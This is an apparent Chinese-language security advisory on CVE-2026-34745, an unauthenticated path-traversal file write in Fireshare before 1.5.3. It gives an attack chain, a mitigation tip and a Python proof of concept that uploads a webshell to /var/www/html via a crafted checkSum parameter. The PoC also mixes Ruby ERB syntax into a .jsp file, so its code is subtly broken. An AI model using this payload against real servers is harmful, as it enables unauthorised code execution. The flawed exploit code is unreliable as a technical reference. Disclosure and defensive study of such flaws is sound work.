IPBUF安全漏洞报告
English
CVE-2026-34745 CVSS 9.1 严重

CVE-2026-34745 Fireshare 任意文件写入漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34745
漏洞类型
任意文件写入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fireshare

相关标签

任意文件写入Fireshare路径遍历RCE无需认证

漏洞概述

Fireshare 在 1.5.3 版本之前的代码中存在安全缺陷。虽然针对 CVE-2026-33645 的补丁已应用于需认证的 `/api/uploadChunked` 端点,但开发者遗漏了未认证的 `/api/uploadChunked/public` 端点。未经身份验证的远程攻击者可利用 `checkSum` 参数中的缺陷,将包含任意内容的文件写入服务器文件系统的任何可写路径,构成严重安全威胁。

技术细节

该漏洞的根源在于 `app/server/fireshare/api.py` 文件中对 `checkSum` 参数的处理不当。在修复前一个漏洞时,开发人员仅对需要身份验证的端点进行了路径校验,而忽略了公开端点。攻击者无需任何用户交互或账号权限即可访问该接口。通过构造包含路径遍历序列(如 `../`)的 `checkSum` 参数,攻击者能够绕过预期的上传目录限制。由于攻击者同时控制文件内容和写入路径,他们可以向 Web 根目录上传恶意脚本(如 Webshell)或覆盖系统关键文件。鉴于 CVSS 评分为 9.1 且无需认证,该漏洞极易导致远程代码执行(RCE),严重影响系统的完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出使用 Fireshare 且版本低于 1.5.3 的目标服务器。
STEP 2
2. 发送恶意请求
攻击者向 /api/uploadChunked/public 端点发送 POST 请求,在 checkSum 参数中注入路径遍历字符(如 ../../),并携带恶意文件内容。
STEP 3
3. 写入文件
服务器端未正确过滤 checkSum 参数,将攻击者提供的文件写入到指定的可写路径(例如 Web 目录)。
STEP 4
4. 执行代码
攻击者通过浏览器访问刚写入的恶意文件,触发服务器端代码执行,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Unauthenticated endpoint) target = "http://vulnerable-host/api/uploadChunked/public" # Malicious file content (e.g., a webshell or script) file_content = "<%= system('id') %>" # The checkSum parameter is vulnerable to path traversal # Using '../' to escape the intended upload directory payload_checksum = "../../../../var/www/html/shell.jsp" files = { 'file': ('blob', file_content, 'application/octet-stream') } data = { 'checkSum': payload_checksum, 'chunkIndex': '0' } try: response = requests.post(target, files=files, data=data) if response.status_code == 200: print(f"[+] Exploit sent! Check if file was created at: /var/www/html/shell.jsp") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Fireshare < 1.5.3

防御指南

临时缓解措施
如果无法立即升级,建议在 WAF 或反向代理层添加规则,拦截对 `/api/uploadChunked/public` 接口的请求中包含路径遍历字符(如 `../` 或 `%2e%2e/`)的流量。此外,应确保 Web 服务器运行用户对文件系统敏感目录仅有只读权限,防止恶意文件覆盖系统配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表